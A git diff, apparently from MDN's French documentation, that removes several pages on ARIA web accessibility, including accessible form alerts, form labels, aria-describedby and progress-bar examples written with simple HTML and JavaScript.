  1. Vérifions que l’adresse électronique pour le nom saisi sont valides. Pour rester simple, nous vérifions si l’adresse contient un symbole « @ », et si le nom saisi contient au moins une espace « [ ] ».
    2. -
  2. Définissons l’attribut aria-invalid du champ et donnons lui la valeur true.
    3. -
  3. Notifions à l’utilisateur via une alerte que la valeur saisie n’est pas correcte. Plutôt que d’utiliser la boîte de dialogue envahissante créée par la fonction JavaScript alert, nous utiliserons pour ceci un simple composant WAI-ARIA. Cela avertira l’utilisateur, mais le laissera continuer à interagir avec le formulaire sans l’interrompre.
    4. -
- -

Tout ceci se passe lorsque le champ de saisi perd le focus, c’est-à-dire dans le gestionnaire d’événements onblur.

- -

La code JavaScript obtenu ressemble à ce qui suit, inséré au-dessus de la balise fermante {{ HTMLElement("head") }} :

- -
<script type="application/javascript">
-function removeOldAlert()
-{
-    var oldAlert = document.getElementById("alert");
-    if (oldAlert)
-        document.body.removeChild(oldAlert);
-}
-<br/>
-function addAlert(aMsg)
-{
-    removeOldAlert();
-    var newAlert = document.createElement("div");
-    newAlert.setAttribute("role", "alert");
-    newAlert.setAttribute("id", "alert");
-    var msg = document.createTextNode(aMsg);
-    newAlert.appendChild(msg);
-    document.body.appendChild(newAlert);
-}
-<br/>
-function checkValidity(aID, aSearchTerm, aMsg)
-{
-    var elem = document.getElementById(aID);
-    var invalid = (elem.value.indexOf(aSearchTerm) < 0);
-    if (invalid) {
-        elem.setAttribute("aria-invalid", "true");
-        addAlert(aMsg);
-    } else {
-        elem.setAttribute("aria-invalid", "false");
-        removeOldAlert();
-    }
-}
-</script>
-
- -

La fonction checkValidity

- -

Le cœur est la fonction checkValidity. Elle accepte trois paramètres : l’ID du champ de saisi qui doit être validé, le terme à recherche pour assurer la validité, et le message d’erreur à insérer dans l’alerte.

- -

Pour déterminer la validité, la fonction vérifie si l’indexOf de la valeur d’entrée est plus grande que -1. Une valeur de -1 ou moins est retournée si l’index du terme recherché n’a pas pu être trouvée dans la valeur.

- -

Si non valide, la fonction fait deux choses :

- -
    -
  1. Elle définit l’attribut aria-invalid de l’élément à true, ce qui indiquera au lecteur d’écran que le contenu n’est pas correct.
    2. -
  2. Elle appellera la fonction addAlert pour ajouter une alerte avec le message d’erreur donné.
    3. -
- -

Si le terme recherché est trouvé, l’attribut aria-invalid est réinitialisé à true. De plus, toute alerte qui subsisterait serait supprimée.

- -

La fonction addAlert

- -

Cette fonction commence par enlever toutes les alertes restantes. Son fonctionnement est simple : elle cherche un élément avec un identifiant alert, et si elle en trouve un, l’enlève du modèle objet de document (DOM).

- -

Ensuite, la fonction crée un élément {{ HTMLElement("div") }} qui contient le texte de l’alerte. On lui attribue l’ID alert. Et son rôle est défini comme celui d’une « alert ». C’est inspiré par ARIA, même si le nom de l’attribut ne comporte par « aria ». Cela découle du fait que ce rôle est basé sur le module XHTML Role Attribut qui a été tout simplement porté sur HTML pour plus de simplicité.

- -

Le texte est ajouté à l’élément {{ HTMLElement("div") }}, qui est lui-même ajouté au document.

- -

Au moment où cela se produira, Firefox déclenchera un événement « alert » pour la technologie d’assistance lorsque la {{ HTMLElement("div") }} apparaîtra. La plupart des lecteurs d’écran prendront celui-ci automatiquement et le liront. C’est similaire à la barre de notification de Firefox qui apparaît lorsque vous désirez mémoriser un mot de passe. Cette alerte que nous venons de créer n’a pas de bouton sur lequel cliquer, elle se contente de nous dire ce qui est erroné.

- -

Ajouter de la magie à l’événement onblur

- -

Tout ce qu’il reste à faire, c’est ajouter un gestionnaire d’événement. Nous avons besoin de modifier les deux {{ HTMLElement("input") }} de l’adresse électronique et du nom par ce qui suit :

- -
<input name="nom" id="nom" aria-required="true"
-    onblur="checkValidity('nom', ' ', 'Le nom saisi est invalide&nbsp;!');"/>
-<br />
-<input name="courriel" id="courriel" aria-required="true"
-    onblur="checkValidity('courriel', '@', 'L’adresse électronique saisie est invalide&nbsp;!');"/>
-
- -

Test de l’exemple

- -

Si vous utilisez Firefox 3 (ou supérieur) et un lecteur d’écran actuellement pris en charge, essayez ce qui suit :

- -
    -
  1. Saisissez uniquement votre prénom dans le champ « Nom ». Lorsque vous changerez de champ avec la touche tabulation, vous entendrez une alerte vous avertissant que vous avez saisi un nom invalide. Vous pourrez alors revenir en arrière et corriger l’erreur.
    2. -
  2. Saisissez une adresse électronique sans le symbole « @ ». Lorsque vous changerez de champ avec la touche tabulation, vous devriez entendre un avertissement vous indiquant que vous avez saisi une adresse électronique invalide.
    3. -
- -

Dans les deux cas, lorsque le focus revient sur le champ concerné, votre lecteur d’écran devrait vous dire que le champ est invalide. JAWS 9 prend en charge cette fonction, mais pas JAWS 8, aussi il se peut que ça ne fonctionne pas pour toutes les versions des lecteurs d’écran pris en charge.

- -

Quelques questions qu’on peut se poser

- -
-
Q. Pourquoi mettre à la fois un (required) dans le texte du label et l’attribut aria-required sur certains éléments {{ HTMLElement("input") }} ?
-
R. Si nous avions un véritable formulaire dynamique et que le site était visité par un navigateur ne prenant pas en charge ARIA, nous voudrions tout de même donner une indication sur l’obligation de remplir le champ.
-
Q. Pourquoi ne remettez-vous pas automatiquement le focus sur le champ invalide ?
-
R. Cela n’est pas autorisé par, au moins, la spécification de l’API Windows, et probablement par d’autres. De plus, laisser le focus se déplacer sans réelle intervention de l’utilisateur n’est généralement pas considéré comme une chose à faire.
-
- -
-

TBD : let's rethink this – personally, I think setting focus might be good if done without causing a keyboard trap.

- -

()Il faudrait y réfléchir – personnellement, je pense que définir le focus peut être une bonne chose si c’est fait sans causer de perturbation à la navigation au clavier).

-
- -

Conclusion

- -

L’accessibilité des sites web est grandement améliorée lorsqu’on fournit des alertes accessibles pour la validation côté client. Il n’y a rien de plus frustrant pour un utilisateur que de remplir un formulaire d’une vingtaine de champs, voire plus, de le soumettre, de constater que seuls quelques champs ne sont pas correctement renseignés et de devoir tout recommencer depuis le début pour s’assurer que les valeurs sont correctement mémorisées, ou de fournir des informations redondantes.

diff --git "a/files/fr/accessibilit\303\251/aria/formulaires/index.html" "b/files/fr/accessibilit\303\251/aria/formulaires/index.html" deleted file mode 100644 index e61cd13904..0000000000 --- "a/files/fr/accessibilit\303\251/aria/formulaires/index.html" +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Formulaires -slug: Accessibilité/ARIA/formulaires -tags: - - ARIA - - Accessibilité - - Développement Web - - Formulaire -translation_of: Web/Accessibility/ARIA/forms ---- -

Les pages suivantes fournissent diverses techniques pour améliorer l’accessibilité des formulaires web :

- - - -

Voir également l’article Yahoo! à propos de la validation des formulaires et d’ARIA (en anglais) (version archivée par archive.org), couvrant pour une bonne part le même sujet.

diff --git "a/files/fr/accessibilit\303\251/aria/formulaires/indications_elementaires_pour_les_formulaires/index.html" "b/files/fr/accessibilit\303\251/aria/formulaires/indications_elementaires_pour_les_formulaires/index.html" deleted file mode 100644 index 10191bc959..0000000000 --- "a/files/fr/accessibilit\303\251/aria/formulaires/indications_elementaires_pour_les_formulaires/index.html" +++ /dev/null @@ -1,119 +0,0 @@ ---- -title: Indications élémentaires pour les formulaires -slug: Accessibilité/ARIA/formulaires/Indications_elementaires_pour_les_formulaires -tags: - - ARIA - - Accessibilité - - Formulaire -translation_of: Web/Accessibility/ARIA/forms/Basic_form_hints ---- -

Labels de formulaire

- -

Lors de l’implémentation de formulaires à l’aide d’éléments de formulaire HTML classiques, il est important de fournir des labels pour les contrôles et d’associer explicitement un label avec son contrôle. Lorsqu’un utilisateur de lecteur d’écran navigue sur une page, le lecteur d’écran décrit les contrôles de formulaire ; mais sans association directe entre un contrôle et son label, le lecteur d’écran n’a aucun moyen de savoir quel est le label correspondant.

- -

L’exemple ci-dessous montre un formulaire basique avec des labels. Remarquez que chaque élément {{ HTMLElement("input") }} possède un id, et chaque élément {{ HTMLElement("label") }} a un attribut for indiquant l’id de l’{{ HTMLElement("input") }} associé.

- -

Exemple 1. Formulaire basique avec labels

- -
<form>
-  <ul>
-    <li>
-      <input id="vin-1" type="checkbox" value="riesling"/>
-      <label for="vin-1">Berg Rottland Riesling</label>
-    </li>
-    <li>
-      <input id="vin-2" type="checkbox" value="weissbergunder"/>
-      <label for="vin-2">Weissbergunder</label>
-    </li>
-    <li>
-      <input id="vin-3" type="checkbox" value="pinot-grigio"/>
-      <label for="vin-3">Pinot Grigio</label>
-    </li>
-    <li>
-      <input id="vin-4" type="checkbox" value="gewurztraminer"/>
-      <label for="vin-4">Gewürztraminer</label>
-    </li>
-  </ul>
-</form>
-
- -

Labelliser avec ARIA

- -

L’élément HTML {{ HTMLElement("label") }} est approprié pour les éléments liés aux formulaires, mais de nombreux contrôles de formulaires sont implémentés sous forme de composants JavaScript dynamiques et utilisent les éléments {{ HTMLElement("div") }} ou {{ HTMLElement("span") }}. WAI-ARIA, la spécification Accessible Rich Internet Applications (Applications Internet Riches Accessibles) de la Web Accessibility Initiative (Initiative pour l’Accessibilité du web) du W3C, fournit l’attribut aria-labelledby dans ces cas de figure.

- -

L’exemple ci-dessous montre un groupe de boutons radio implémenté à l’aide d’une liste non-ordonnée. Remarquez, à la ligne 3, que l’attribut aria-labelledby de l’élément {{ HTMLElement("ul") }} est défini comme « rg1_label », et est identique à l’id de l’élément {{ HTMLElement("h3") }} de la ligne 1, qui sert de label au groupe de boutons radio.

- -

Exemple 2. Un groupe de boutons radio implémenté à l’aide d’une liste non-ordonnée (d'après http://www.oaa-accessibility.org/examplep/radio1/)

- -
<h3 id="rg1_label">Options du déjeuner</h3>
-
-<ul class="radiogroup" id="rg1"  role="radiogroup" aria-labelledby="rg1_label">
-  <li id="r1"  tabindex="-1" role="radio" aria-checked="false">
-    <img role="presentation" src="radio-unchecked.gif" /> Thaï
-  </li>
-  <li id="r2"  tabindex="-1" role="radio"  aria-checked="false">
-    <img role="presentation" src="radio-unchecked.gif" /> Subway
-  </li>
-  <li id="r3"   tabindex="0" role="radio" aria-checked="true">
-    <img role="presentation" src="radio-checked.gif" /> Libanais
-  </li>
-</ul>
-
- -

Décrire avec ARIA

- -

Les contrôles de formulaire peuvent parfois avoir une description qui leur est associée, en plus du label. ARIA fournit l’attribut aria-describedby pour associer directement une description à un contrôle donné.

- -

L’exemple ci-dessous montre un élément {{ HTMLElement("button") }} décrit par une phrase contenue dans un élément {{ HTMLElement("div") }} séparé. L’attribut aria-describedby du {{ HTMLElement("button") }} fait référence à l’id de l’élément {{ HTMLElement("div") }}.

- -

Exemple 3. Un bouton décrit par un élément séparé.

- -
<button aria-describedby="descriptionRevert">Annuler</button>
-<div id="descriptionRevert">L’annulation supprimera toutes les modifications
-                    intervenues depuis le dernier enregistrement.</div>
- -

(Notez que l’attribut aria-describedby est utilisé de différentes façons, en plus des contrôles de formulaires.)

- -

Champs obligatoires et invalides

- -

Les développeur Web utilisent souvant des éléments de présentation visuels pour indiquer les champs obligatoires ou invalides, mais les technologies d’assistance ne peuvent pas toujours déduire ces informations à partir de la présentation. ARIA fournit des attributs pour indiquer l’obligation de renseigner un contrôle de formulaire ou la validité de son contenu :

- - - -

L’exemple ci-dessous montre un formulaire simple avec 3 champs. Aux lignes 4 et 12, les attributs aria-required sont définis à true (en plus de l’astérisque en début de champ) indiquant que le nom et l’adresse électronique sont obligatoires. La seconde partie de l’exemple est un snippet JavaScript qui valide le format de l’adresse électronique et qui définit l’attribut aria-invalid du champ « Courriel » (ligne 12 du code HTML) selon le résultat (en plus de la modification de la présentation de l’élément).

- -

Exemple 4a. Un formulaire avec des champs obligatoires.

- -
<form>
-  <div>
-    <label for="nom">* Nom :</label>
-    <input type="text" value="nom" id="nom" aria-required="true"/>
-  </div>
-  <div>
-    <label for="telephone">Téléphone :</label>
-    <input type="text" value="telephone" id="telephone" aria-required="false"/>
-  </div>
-  <div>
-    <label for="courriel">* Courriel :</label>
-    <input type="text" value="courriel" id="courriel" aria-required="true"/>
-  </div>
-</form>
- -

Exemple 4b. Portion d’un script qui valide une entrée de formulaire.

- -
var validate = function () {
-  var emailElement = document.getElementById(emailFieldId);
-  var valid = emailValid(formData.email); // retourne true si valide, false dans le cas contraire
-
-  emailElement.setAttribute("aria-invalid", !valid);
-  setElementBorderColour(emailElement, valid); // colore la bordure en rouge sur le second argument est false
-};
- -

Fournir des messages d’erreur utiles

- -

Découvrez comment utiliser les alertes ARIA pour améliorer les formulaires.

- -

Pour plus de conseils sur l’utilisation d’ARIA et l’accessibilité des formulaires, consultez le document WAI-ARIA Authoring Practices.

diff --git "a/files/fr/accessibilit\303\251/aria/formulaires/labels_multi-options/index.html" "b/files/fr/accessibilit\303\251/aria/formulaires/labels_multi-options/index.html" deleted file mode 100644 index 18e7adbe71..0000000000 --- "a/files/fr/accessibilit\303\251/aria/formulaires/labels_multi-options/index.html" +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Labels multi-options -slug: Accessibilité/ARIA/formulaires/Labels_multi-options -tags: - - ARAI - - Accessibilité - - Développement Web - - Formulaire -translation_of: Web/Accessibility/ARIA/forms/Multipart_labels ---- -

Utiliser ARIA avec des labels comportant des champs

- -

Problème

- -

Un formulaire pose une question à un utilisateur, mais la zone de réponse est une partie de la phrase qui constitue la question. Un exemple classique que nous connaissons tous dans notre navigateur, c’est la paramètre des préférences « Effacer l’historique après [x] jours. » « Effacer l’historique après » est à la gauche de la boîte texte, « x » est le nombre, par exemple 21, et le mot « jours » suit la boîte texte, formant ainsi un phrase qu'il est facile de comprendre.

- -

Si vous utilisez un lecteur d’écran, vous devez avoir remarqué que, lorsque vous allez à ce paramètre dans Firefox, il est actuellement écrit « Effacer l’historique après 21 jours ? », suivi par l’annonce que vous vous trouvez dans un boîte texte et qu’elle contient le nombre 21. C’est sympa, non ? Vous n’avez pas besoin de naviguer alentours pour trouver l’unité. « Jours » peut aisément être remplacé par « mois » ou « années », et dans de nombreuses boîtes de dialogues ordinaires, il n’y a aucun autre moyen de le savoir que de naviguer alentours avec les commandes d’examen de l’écran.

- -

La solution se trouve dans l'attribut ARIA aria-labelledby. Son paramètre est une chaîne qui est la liste des identifiants des éléments HTML que vous voulez concaténer en un seul nom accessible.

- -

aria-labelledby et aria-describedby sont tous deux spécifiés dans l’élément de formulaire à labelliser, par exemple, un élément {{ HTMLElement("input") }}. Dans les deux cas, les liaisons d’un contrôle <label for>/<label> pouvant exister, sont neutralisées par aria-labelledby. Si, dans une page HTML vous fournissez aria-labelledby, vous devriez également fournir un <label for> afin d’également prendre en charge les anciens navigateurs qui ne prennent pas encore en charge ARIA. Avec Firefox 3, vos utilisateurs malvoyants auront automatiquement une meilleure accessibilité avec le nouvel attribut, mais les utilisateurs de navigateurs plus anciens ne seront pas pour autant laissé dans le noir.

- -

Exemple :

- -

Éteindre l’ordinateur après minutes

- -
    <input aria-labelledby="labelShutdown shutdownTime shutdownUnit" type="checkbox" />
-    <span id="labelShutdown">Éteindre l’ordinateur après</span>
-    <input aria-labelledby="labelShutdown shutdownTime shutdownUnit" id="shutdownTime" type="text" value="10" />
-    <span id="shutdownUnit"> minutes</span>
-
- -

Pour les utilisateurs de JAWS 8

- -

JAWS 8.0 possède sa propre logique pour trouver les labels, ce qui lui fait systématiquement supplanter le nomAccessible que peut avoir une boîte texte dans un document HTML. Avec JAWS 8, je n’ai trouvé aucun moyen de lui faire accepter le label de l’exemple ci-dessus. Mais NVDA et Window-Eyes le font très bien, et Orca sur Linux n’a aucun problème non plus.

- -

Peut-on faire la même chose sans ARIA ?

- -

Ben Millard fait remarquer dans un billet que  les contrôles peuvent être imbriqués dans des labels, comme démontré dans l'exemple ci-dessus avec HTML 4, simplement en imbriquant l'élément input dans le label. Merci pour cette info, Ben ! Elle est vraiment utile et montre que certaines techniques existantes depuis des années nous échappe, même aux gourous que nous sommes. Cette technique fonctionne dans Firefox ; cependant, elle ne fonctionne actuellement pas dans de nombreux autres navigateurs, y compris IE. Donc, pour les labels comprenant des contrôles de formulaires, l'utilisation de aria-labelledby est encore la meilleure approche.

- -
TBD: Ajouter plus d’infos sur la compatibilité
diff --git "a/files/fr/accessibilit\303\251/aria/guides_aria/index.html" "b/files/fr/accessibilit\303\251/aria/guides_aria/index.html" deleted file mode 100644 index 452418ed1b..0000000000 --- "a/files/fr/accessibilit\303\251/aria/guides_aria/index.html" +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Guides ARIA -slug: Accessibilité/ARIA/Guides_ARIA -tags: - - ARIA - - Accessibilité -translation_of: Web/Accessibility/ARIA/ARIA_Guides ---- -

ARIA (Accessible Rich Internet Applications ou Applications Internet riches accessibles) défini une manière de rendre le web plus accessible pour les personnes en situation de handicap. Les quelques principes suivant permettent de s'assurer d'une meilleure accessibilité :

- - diff --git "a/files/fr/accessibilit\303\251/aria/index.html" "b/files/fr/accessibilit\303\251/aria/index.html" deleted file mode 100644 index 86ca0aa284..0000000000 --- "a/files/fr/accessibilit\303\251/aria/index.html" +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: ARIA -slug: Accessibilité/ARIA -tags: - - ARIA - - Accessibilité - - Applications - - Web -translation_of: Web/Accessibility/ARIA ---- -

Accessible Rich Internet Applications (ARIA) (qu'on pourrait traduire par « applications internet riches et accessibles ») sont un ensemble un attribut qui définit comment rendre le contenu et les applications web accessibles.

- -

ARIA complète HTML afin que les éléments interactifs et les widgets puissent être utilisés par les outils d'assistance quand les fonctionnalités standard ne le permettent pas. Ainsi, ARIA permet de rendre accessible les widgets JavaScript, les indications dans les formulaires, les messages d'erreur et les mises à jour dynamiques du contenu, etc.

- -
-

Attention ! La plupart de ces widgets ont été intégrés au sein d'HTML5 et mieux vaudra donc utiliser les éléments « sémantiques » HTML lorsqu'ils sont disponibles. Ainsi, les éléments natifs disposent de fonctionnalités de navigation au clavier, de rôles et d'états définis en standard. Toutefois, lorsque vous choisissez d'utiliser ARIA, il vous revient de recoder les fonctionnalités équivalentes dans vos scripts.

-
- -

Voici un widget utilisé pour une barre de progression :

- -
<div id="percent-loaded" role="progressbar" aria-valuenow="75"
-     aria-valuemin="0" aria-valuemax="100" />
- -

Cette barre de progression utilise un élément <div> qui n'a pas de sémantique forte. Malheureusement, HTML 4 ne possède pas d'élément natif avec la sémantique nécessaire et on doit donc inclure les rôles et propriétés ARIA. Ici, l'attribut role="progressbar" indique au navigateur qu'il s'agit d'une barre de progression mise à jour en JavaScript. Les attributs aria-valuemin et aria-valuemax indiquent les valeurs minimales et maximales pour cette barre tandis que aria-valuenow décrit l'état actuel de la barre et cette valeur doit être mise à jour par le code JavaScript.

- -

En plus des déclarations statiques dans le contenu HTML, les attributs ARIA peuvent être ajoutés aux éléments et être mis à jour grâce à JavaScript :

- -
// Trouver la barre de progression <div> dans le DOM.
- var progressBar = document.getElementById("percent-loaded");
-
-// Définir les rôles et les états ARIA
-// afin que les technologies d'assistance puissent les
-// identifier/exploiter correctement
- progressBar.setAttribute("role", "progressbar");
- progressBar.setAttribute("aria-valuemin", 0);
- progressBar.setAttribute("aria-valuemax", 100);
-
-// Créer une fonction qui peut être appelée à tout moment
-// pour mettre à jour la valeur de la barre de progression
- function updateProgress(percentComplete) {
-   progressBar.setAttribute("aria-valuenow", percentComplete);
- }
- -
-

Note : ARIA  a été inventé après HTML4 et ne valide pas HTML4 ou les variantes XHTML. Toutefois, les gains d'accessibilité l'emportent sur cette invalidité.

- -

En HTML5, tous les attributs ARIA sont valides. Les nouveaux éléments de navigation (<main>, <header>, <nav> etc.) possèdent des rôles ARIA natifs et il n'est pas nécessaire de les dupliquer.

-
- -

Prise en charge

- -

À l'instar des autres technologies web, la prise en charge d'ARIA est plus ou moins hétérogène parmi les différents navigateurs. La prise en charge d'ARIA repose à la fois sur le navigateur, sur le système d'exploitation sous-jacent et sur la technologie d'assistance utilisée. Certaines versions antérieures de logiciels pourront ne pas prendre en charge (ou que partiellement) certains rôles ARIA.

- -

On notera également que certaines personnes qui utilisent des outils d'assistance hésitent à mettre à jour leurs logiciels de peur de perdre les fonctionnalités liées à l'ordinateur et au navigateur. Pour ces raisons, mieux vaudra utiliser des éléments HTML « sémantiques » dès que possible car cela maximisera la prise en charge des technologies d'assistance.

- -

Il est aussi important de tester l'ARIA écrit avec des technologies d'assistance réelles. Bien qu'il existe certains émulateurs et simulateurs, rien ne vaut un test réel afin d'obtenir suffisamment de garanties.

- -
-
-
-

Tutoriels

- -
-
Introduction à ARIA
-
Une rapide introduction à ARIA pour rendre accessible le contenu dynamique. Voir aussi l'introduction à ARIA de Gez Lemon en 2008
-
Vidéos de lecteurs d'écran utilisant ARIA
-
Des exemples concrets et d'autres simplifiés avec des vidéos comparatives entre l'état « avant ARIA » et « après ARIA ».
-
Utiliser ARIA
-
Un guide pratique pour les développeurs qui fournit également des suggestions quant aux attributs ARIA à utiliser sur les éléments HTML sur la base d'implémentations concrètes.
-
- -

Améliorations légères avec ARIA

- -
-
Améliorer la navigation avec les balises (landmarks) ARIA
-
Une introduction à l'utilisation des balises ARIA afin d'améliorer la navigation au sein d'une page web pour les utilisateurs de lecteur d'écran. Voir aussi les notes d'implémentation pour les balises ARIA (mis à jour en juillet 2011).
-
Améliorer l'accessibilité des formulaires
-
ARIA ne se limite pas au contenu dynamique ! Apprenez comment améliorer l'accessibilité des formulaires HTML grâce aux attributs ARIA.
-
- -

ARIA pour les widgets scriptés

- -
-
Concevoir des widgets JavaScript navigables au clavier
-
Les éléments tels que <input>, <button> disposent de fonctionnalités natives pour l'utilisation au clavier. Si on triche en utilisant des <div> et ARIA, on doit s'assurer que l'accessibilité au clavier soit préservée.
-
Régions dynamiques (live regions)
-
Les régions dynamiques fournissent des suggestion aux lecteurs d'écran sur la façon dont gérer la modification du contenu d'une page.
-
Utiliser les régions dynamiques ARIA afin d'indiquer une modification de contenu
-
Un rapide résumé des régions interactives par les concepteurs du lecteur d'écran JAWS. Les régions dynamiques sont également prises en charge par NVDA pour Firefox et par  VoiceOver avec Safari.
-
-
- -
-

Processus de standardisation

- -
-
La spécification WAI-ARIA
-
La spécification rédigée par le W3C.
-
Bonnes pratiques afin d'écrire avec WAI-ARIA
-
-

Les documents officiels décrivant les meilleurs pratiques pour appliquer ARIA aux widgets et aux mécanismes interactifs.

-
-
- -

Videos

- -

ARIA, les API pour l'accessibilité : coder comme si ça vous intéressait ! de Léonie Watson (en anglais)

- -

Rapporter des bogues

- -

Rapporter des bogues d'accessibilté/ARIA sur les navigateurs, les lecteurs d'écran et les bibliothèques JavaScript.

-
-
-
- -

Voir aussi

- - diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/index.html" deleted file mode 100644 index b6398235ba..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/index.html" +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: Techniques ARIA -slug: Accessibilité/ARIA/Techniques_ARIA -tags: - - ARIA - - Accessibilité - - Attributs - - Rôles -translation_of: Web/Accessibility/ARIA/ARIA_Techniques ---- -

Rôles

-

Rôles de composant d’interface

- -

Rôles composés

-

Les techniques ci-dessous décrivent chaque rôle composé ainsi que leurs rôles enfants obligatoires ou facultatifs.

- -

Rôles de structure de document

- -

Rôles de points de repère

- -

États et propriétés

-

Attributs de composants d’interface

- -

Attributs de zones « live »

- -

Attributs de glisser-déposer

- -

Attributs de relation

- diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/modele_technique_aria/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/modele_technique_aria/index.html" deleted file mode 100644 index 322f6defcb..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/modele_technique_aria/index.html" +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Modèle Technique ARIA -slug: Accessibilité/ARIA/Techniques_ARIA/Modele_Technique_ARIA -tags: - - ARIA - - Accessibilité -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/ARIA_Technique_Template ---- -
-
-

Description

-

 

-

Effets possibles sur les agents utilisateur et les technologies d’assistance 

-

 

-
- Note : les opinions diffèrent sur la façon dont les technologies d’assistance devraient traiter ces techniques. Les informations fournies ci-dessus sont une de ces opinions et ne sont en aucune manière normatives.
-

Exemples

-

Exemple 1 : 

-

 

- 
Code
-

Exemples fonctionnels :

-

Notes 

-

Attributs ARIA utilisés

-

Techniques ARIA associées 

-

Compatibilité

-

TBD : Ajouter les informations de prise en charge des combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance

-

Autres ressources

-
-
-

 

diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utilisation_du_groupe_r\303\264le/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utilisation_du_groupe_r\303\264le/index.html" deleted file mode 100644 index db1bb8281e..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utilisation_du_groupe_r\303\264le/index.html" +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Utilisation du groupe rôle -slug: Accessibilité/ARIA/Techniques_ARIA/Utilisation_du_groupe_rôle -tags: - - NeedsContent -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_radio_role ---- -

 

- -

Description

- -

 

- -

Effets possibles sur les agents utilisateurs et les technologies d'assistance

- -
Note:il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ici est l’une de ces opinions et n’est pas normative.
- -

Exemples

- -

Exemple 1 : 

- -

 

- -
Code
- -

Exemples concrets :

- - - -

Notes 

- -

Attributs ARIA utilisés

- -

Techniques ARIA connexes

- -

Compatibilité

- -

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

- -

Autres ressources

diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utilisation_du_groupe_switch/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utilisation_du_groupe_switch/index.html" deleted file mode 100644 index 2aec6523ed..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utilisation_du_groupe_switch/index.html" +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Utilisation du groupe switch -slug: Accessibilité/ARIA/Techniques_ARIA/Utilisation_du_groupe_switch -tags: - - ARIA - - Accessibility - - NeedsContent - - Rôle -translation_of: Web/Accessibility/ARIA/Roles/Switch_role ---- -

Le rôle ARIA switch est très similaire au role checkbox, à la sémantique près — il a deux états représentant on/off, au lieu de checked/unchecked.

- -

Extrait des spec ARIA 1.1 : l'attribut aria-checked d'un switch indique si l'entrée est on (true) ou off (false). La valeur mixed n'est pas supportée, et les agents utilisateurs DOIVENT la traiter comme équivalente à false pour ce rôle.

diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-describedby/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-describedby/index.html" deleted file mode 100644 index 44e25b657f..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-describedby/index.html" +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: Utiliser l’attribut aria-describedby -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-describedby -tags: - - ARIA - - Accessibilité - - Attribut -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute ---- -

Description

- -
-

Cette technique présente l’utilisation de l’attribut aria-describedby.

-
- -

L’attribut aria-describedby est utilisé pour indiquer l’identifiant des éléments qui décrivent l’objet. Il est utilisé pour établir une relation entre des composants ou des groupes et un texte les décrivant. Il est similaire à aria-labelledby : un label décrit la nature d’un objet, tandis qu’une description fournit plus d’informations pouvant être utiles à l’utilisateur.

- -

L’attribut aria-describedby n’est pas uniquement utilisé pour des éléments de formulaire ; il peut également être utilisé pour associer un texte statique avec des composants, des groupes d’éléments, des panneaux, des zones possédant un titre, des définitions, etc. La section {{ anch("Exemples") }} ci-dessous fournit plus d’informations sur l’utilisation de cet attribut dans ces cas précis.

- -

Cet attribut peut être utilisé avec n’importe quel élément caractéristique de formulaire HTML ; il n’est pas limité aux éléments auxquels un rôle ARIA a été assigné.

- -

Valeurs

- -

Une liste d’ID d’éléments séparés par des espaces

- -

Effets possibles sur les agents utilisateurs et les technologies d’assistance

- -
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
- -

Exemples

- -

Exemple 1 : Descriptions des points de repère d’une application

- -

Dans l’exemple ci-dessous, un paragraphe d’introduction décrit une application de calendrier. aria-describedby est utilisé pour associer le paragraphe avec le conteneur de l’application.

- -
<div role="applicaton" aria-labelledby="calendar" aria-describedby="info">
-    <h1 id="calendar">Calendrier<h1>
-    <p id="info">
-        Ce calendrier affiche les prévisions de match du Racing Métro.
-    </p>
-    <div role="grid">
-        …
-    </div>
-</div>
-
- -

Exemple 2 : Un bouton de fermeture

- -

Dans l’exemple ci-dessous, un lien qui fonctionne comme le bouton Fermer d’une boîte de dialogue, est décrit ailleurs dans le document. L’attribut aria-describedby est utilisé pour associer la description au lien.

- -
<button aria-label="Fermer" aria-describedby="descriptionClose"
-    onclick="myDialog.close()">X</button>
-…
-
-<div id="descriptionClose">La fermeture de cette fenêtre entraînera la perte des informations saisies et vous renverra vers la page principale</div>
-
- -

Exemples concrets :

- - - -

Notes

- - - -

Utilisé par les rôles ARIA

- -

Tous les éléments de balisage de base.

- -

Techniques ARIA connexes

- - - -

Compatibilité

- -

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

- -

Autres ressources

